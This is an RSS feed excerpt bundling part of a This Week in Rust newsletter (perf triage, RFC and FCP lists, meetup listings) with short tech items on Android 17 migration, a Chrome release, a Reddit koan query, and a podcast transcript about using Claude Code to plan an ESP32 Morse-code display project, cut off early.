<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Makes Switching From iPhone Easier With Android 17]]></title>
<description><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience c...]]></description>
<link>https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</guid>
<pubDate>Thu, 23 Jul 2026 06:12:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience can move photos, videos, contacts, messages, calendar events, saved passwords, Wi-Fi credentials, Google Account details, and an eSIM from an iPhone to a compatible Android phone.



The transfer takes place wirelessly while users set up their new Android device. Since the tool is built directly into Android 17, users do not need to find the correct cable, install another app, or manually sign in to every service.



Moving Google Account information also means users can arrive on their new phone already signed in. Transferring saved passwords and Wi-Fi details should further reduce the amount of setup required after the migration finishes.



An iPhone With iOS 26.3 Is Required



The iPhone must run iOS 26.3 or later, while the receiving phone needs a compatible version of Android 17. Apple also provides the transfer option through the iPhone’s Settings app, where users can begin moving their data and supported eSIM.



Users should keep both phones close together and connected throughout the process. Carrier support can also affect whether an eSIM transfers successfully.



Available on Pixel and Samsung Phones



The improved switching experience has started rolling out to select Pixel devices. Google says it will also be available on Samsung’s Galaxy Z Flip8 and Galaxy Z Fold8, with support planned for more Android phones.



The update makes changing mobile platforms less time-consuming, especially for people who previously avoided switching because their passwords, network settings, or mobile number were difficult to move.]]></content:encoded>
</item>
<item>
<title><![CDATA[Can you help me remember this unix-ish koan?]]></title>
<description><![CDATA[(not sure if the right subreddit, but here goes) A while ago, I read something in the same style as Unix Koans, and I'm trying to find it again. The topic of that particular koan was about macros and code reuse. All I remember is that the neophyte went up to a monk who said some undecipherable st...]]></description>
<link>https://tsecurity.de/de/3687870/linux-tipps/can-you-help-me-remember-this-unix-ish-koan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687870/linux-tipps/can-you-help-me-remember-this-unix-ish-koan/</guid>
<pubDate>Thu, 23 Jul 2026 04:21:39 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>(not sure if the right subreddit, but here goes)</p> <p>A while ago, I read something in the same style as <a href="http://catb.org/~esr/writings/unix-koans/">Unix Koans</a>, and I'm trying to find it again.</p> <p>The topic of that particular koan was about macros and code reuse. All I remember is that the neophyte went up to a monk who said some undecipherable string of macros, and the neophyte somehow learned that after a certain point, the more you try to reuse, the more incomprehensible code becomes.</p> <p>Does anyone remember what I'm talking about or did I dream this up? </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/forariman55"> /u/forariman55 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v40hrg/can_you_help_me_remember_this_unixish_koan/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v40hrg/can_you_help_me_remember_this_unixish_koan/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chrome for Android Update]]></title>
<description><![CDATA[ Hello Everyone! We've just released Chrome 151 (151.0.7922.47) for Android to a small percentage of users. It'll become available on Google Play over the next few days. You can find more details about early Stable releases here.This release includes stability and performance improvements. You ca...]]></description>
<link>https://tsecurity.de/de/3687836/it-security-nachrichten/chrome-for-android-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687836/it-security-nachrichten/chrome-for-android-update/</guid>
<pubDate>Thu, 23 Jul 2026 03:11:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p> Hello Everyone! We've just released Chrome 151 (151.0.7922.47) for Android to a small percentage of users. It'll become <a href="https://play.google.com/store/apps/details?id=com.android.chrome">available on Google Play</a> over the next few days. You can find more details about early Stable releases <a href="https://developer.chrome.com/blog/early-stable/">here</a>.</p>This release includes stability and performance improvements. You can see a full list of the changes in the <a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.181..151.0.7922.47?pretty=fuller&amp;n=10000">Git log</a>. If you find a new issue, please let us know by <a href="https://code.google.com/p/chromium/issues/entry?template=Android%20Issue">filing a bug</a>.<br><br>Harry Souders<br><a href="https://www.google.com/chrome/">Google Chrome</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

